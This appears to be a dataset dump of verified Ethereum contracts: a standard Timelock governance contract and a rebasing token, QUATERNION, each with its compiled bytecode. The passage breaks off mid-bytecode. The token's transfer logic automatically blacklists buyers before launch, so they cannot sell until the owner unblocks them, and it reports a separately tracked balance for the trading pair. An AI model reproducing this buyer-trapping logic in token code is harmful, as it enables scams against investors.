event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 1 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
function() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
} | 0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461073d578063e177246e14610768578063f2b06537146107a3578063f851a440146107f6576100c2565b80636a42b8f8146106bc5780637d645fab146106e7578063b1b43ae514610712576100c2565b80630825f38f146100c45780630e18b681146102c357806326782247146102da5780633a66f901146103315780634dd18bf5146104d8578063591fcdfe14610529575b005b610248600480360360a08110156100da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561012157600080fd5b82018360208201111561013357600080fd5b8035906020019184600183028401116401000000008311171561015557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101b857600080fd5b8201836020820111156101ca57600080fd5b803590602001918460018302840111640100000000831117156101ec57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061084d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028857808201518184015260208101905061026d565b50505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cf57600080fd5b506102d8610ece565b005b3480156102e657600080fd5b506102ef61105c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033d57600080fd5b506104c2600480360360a081101561035457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561039b57600080fd5b8201836020820111156103ad57600080fd5b803590602001918460018302840111640100000000831117156103cf57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561043257600080fd5b82018360208201111561044457600080fd5b8035906020019184600183028401116401000000008311171561046657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611082565b6040518082815260200191505060405180910390f35b3480156104e457600080fd5b50610527600480360360208110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611448565b005b34801561053557600080fd5b506106ba600480360360a081101561054c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561059357600080fd5b8201836020820111156105a557600080fd5b803590602001918460018302840111640100000000831117156105c757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561062a57600080fd5b82018360208201111561063c57600080fd5b8035906020019184600183028401116401000000008311171561065e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611575565b005b3480156106c857600080fd5b506106d16118c0565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b506106fc6118c6565b6040518082815260200191505060405180910390f35b34801561071e57600080fd5b506107276118cd565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b506107526118d4565b6040518082815260200191505060405180910390f35b34801561077457600080fd5b506107a16004803603602081101561078b57600080fd5b81019080803590602001909291905050506118db565b005b3480156107af57600080fd5b506107dc600480360360208110156107c657600080fd5b8101908080359060200190929190505050611a50565b604051808215151515815260200191505060405180910390f35b34801561080257600080fd5b5061080b611a70565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611b266038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610980578082015181840152602081019050610965565b50505050905090810190601f1680156109ad5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156109e65780820151818401526020810190506109cb565b50505050905090810190601f168015610a135780820380516001836020036101000a031916815260200191505b509750505050505050506040516020818303038152906040528051906020012090506003600082815260200190815260200160002060009054906101000a900460ff16610aab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611c79603d913960400191505060405180910390fd5b82610ab4611a95565b1015610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611bc86045913960600191505060405180910390fd5b610b216212750084611a9d90919063ffffffff16565b610b29611a95565b1115610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611b956033913960400191505060405180910390fd5b60006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055506060600086511415610bc057849050610c7b565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610c435780518252602082019150602081019050602083039250610c20565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610ccb5780518252602082019150602081019050602083039250610ca8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d2d576040519150601f19603f3d011682016040523d82523d6000602084013e610d32565b606091505b509150915081610d8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d5c603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e1a578082015181840152602081019050610dff565b50505050905090810190601f168015610e475780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e80578082015181840152602081019050610e65565b50505050905090810190601f168015610ead5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cb66038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611d266036913960400191505060405180910390fd5b611145600254611137611a95565b611a9d90919063ffffffff16565b82101561119d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611d996049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561122957808201518184015260208101905061120e565b50505050905090810190601f1680156112565780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561128f578082015181840152602081019050611274565b50505050905090810190601f1680156112bc5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561139757808201518184015260208101905061137c565b50505050905090810190601f1680156113c45780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156113fd5780820151818401526020810190506113e2565b50505050905090810190601f16801561142a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cee6038913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461161a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611b5e6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156116a657808201518184015260208101905061168b565b50505050905090810190601f1680156116d35780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561170c5780820151818401526020810190506116f1565b50505050905090810190601f1680156117395780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118145780820151818401526020810190506117f9565b50505050905090810190601f1680156118415780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561187a57808201518184015260208101905061185f565b50505050905090810190601f1680156118a75780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6201518081565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461195f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611de26031913960400191505060405180910390fd5b620151808110156119bb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611c0d6034913960400191505060405180910390fd5b62278d00811115611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611c416038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60036020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611b1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a723158206356ed81aaf8747f2dcdb7dc6f1ab216807aa903489cb1042a35c5fdebe73fff64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 10,560 |
0xc9fa8f4cfd11559b50c5c7f6672b9eea2757e1bd | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract QUATERNION is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
string private _name = 'QUATERNION';
string private _symbol = 'QTN';
uint8 private _decimals = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 1e7 * 1e18;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 public constant MAG = 10 ** 18;
uint256 public rateOfChange = MAG;
uint256 private _totalSupply;
uint256 public _gonsPerFragment;
mapping(address => uint256) public _gonBalances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public blacklist;
mapping (address => uint256) public _buyInfo;
uint256 public _percentForTxLimit = 2; //2% of total supply;
uint256 public _percentForRebase = 5; //5% of total supply;
uint256 public _timeLimitFromLastBuy = 5 minutes;
uint256 private uniswapV2PairAmount;
bool public _live = false;
constructor () public {
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_msgSender()] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if(account == uniswapV2Pair)
return uniswapV2PairAmount;
return _gonBalances[account].div(_gonsPerFragment);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function rebasePlus(uint256 _amount) private {
_totalSupply = _totalSupply.add(_amount.div(5));
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 txLimitAmount = _totalSupply.mul(_percentForTxLimit).div(100);
require(amount <= txLimitAmount, "ERC20: amount exceeds the max tx limit.");
if(from != uniswapV2Pair) {
require(!blacklist[from] && !blacklist[to], 'ERC20: the transaction was blocked.');
require(_buyInfo[from] == 0 || _buyInfo[from].add(_timeLimitFromLastBuy) < now, "ERC20: Tx not allowed yet.");
if(to != address(uniswapV2Router) && to != uniswapV2Pair)
_tokenTransfer(from, to, amount, 0);
else
_tokenTransfer(from, to, amount, 0);
}
else {
if(!_live)
blacklist[to] = true;
require(balanceOf(to) <= txLimitAmount, 'ERC20: current balance exceeds the max limit.');
_buyInfo[to] = now;
_tokenTransfer(from, to, amount, 0);
uint256 rebaseLimitAmount = _totalSupply.mul(_percentForRebase).div(100);
uint256 currentBalance = balanceOf(to);
uint256 newBalance = currentBalance.add(amount);
if(currentBalance < rebaseLimitAmount && newBalance < rebaseLimitAmount) {
rebasePlus(amount);
}
}
} else {
_tokenTransfer(from, to, amount, 0);
}
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 taxFee) internal {
if(to == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.add(amount);
else if(from == uniswapV2Pair)
uniswapV2PairAmount = uniswapV2PairAmount.sub(amount);
uint256 burnAmount = amount.mul(taxFee).div(100);
uint256 transferAmount = amount.sub(burnAmount);
uint256 gonTotalValue = amount.mul(_gonsPerFragment);
uint256 gonValue = transferAmount.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonTotalValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, transferAmount);
if(burnAmount > 0)
emit Transfer(from, address(0x0), burnAmount);
}
function updateLive() external {
if(!_live) {
_live = true;
}
}
function unblockWallet(address account) public onlyOwner {
blacklist[account] = false;
}
function updatePercentForTxLimit(uint256 percentForTxLimit) public onlyOwner {
require(percentForTxLimit >= 1, 'ERC20: max tx limit should be greater than 1');
_percentForTxLimit = percentForTxLimit;
}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063c4996f5111610097578063e679e27c11610071578063e679e27c1461071a578063ed82193c14610738578063f9f92be414610790578063fd2dbb0e146107ea5761018e565b8063c4996f5114610656578063c82a8fed14610674578063dd62ed3e146106a25761018e565b8063715018a6146104f55780638da5cb5b146104ff57806395d89b4114610533578063a9059cbb146105b6578063bce87b331461061a578063bef18a19146106385761018e565b8063313ce5671161014b5780634c4be8a6116101255780634c4be8a61461044157806356e0ec721461045f5780636b0a26d21461047f57806370a082311461049d5761018e565b8063313ce5671461039457806336fed975146103b557806349bd5a5e1461040d5761018e565b806306fdde0314610193578063095ea7b3146102165780631694505e1461027a57806318160ddd146102ae5780631c8e1179146102cc57806323b872dd14610310575b600080fd5b61019b6107f4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101db5780820151818401526020810190506101c0565b50505050905090810190601f1680156102085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102626004803603604081101561022c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610896565b60405180821515815260200191505060405180910390f35b6102826108b4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b66108da565b6040518082815260200191505060405180910390f35b61030e600480360360208110156102e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e4565b005b61037c6004803603606081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a07565b60405180821515815260200191505060405180910390f35b61039c610ae0565b604051808260ff16815260200191505060405180910390f35b6103f7600480360360208110156103cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af7565b6040518082815260200191505060405180910390f35b610415610b0f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610449610b35565b6040518082815260200191505060405180910390f35b610467610b41565b60405180821515815260200191505060405180910390f35b610487610b54565b6040518082815260200191505060405180910390f35b6104df600480360360208110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b5a565b6040518082815260200191505060405180910390f35b6104fd610c18565b005b610507610d9e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053b610dc7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057b578082015181840152602081019050610560565b50505050905090810190601f1680156105a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610602600480360360408110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e69565b60405180821515815260200191505060405180910390f35b610622610e87565b6040518082815260200191505060405180910390f35b610640610e8d565b6040518082815260200191505060405180910390f35b61065e610e93565b6040518082815260200191505060405180910390f35b6106a06004803603602081101561068a57600080fd5b8101908080359060200190929190505050610e99565b005b610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc5565b6040518082815260200191505060405180910390f35b61072261104c565b6040518082815260200191505060405180910390f35b61077a6004803603602081101561074e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611052565b6040518082815260200191505060405180910390f35b6107d2600480360360208110156107a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106a565b60405180821515815260200191505060405180910390f35b6107f261108a565b005b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561088c5780601f106108615761010080835404028352916020019161088c565b820191906000526020600020905b81548152906001019060200180831161086f57829003601f168201915b5050505050905090565b60006108aa6108a3611106565b848461110e565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b6108ec611106565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a14848484611305565b610ad584610a20611106565b610ad0856040518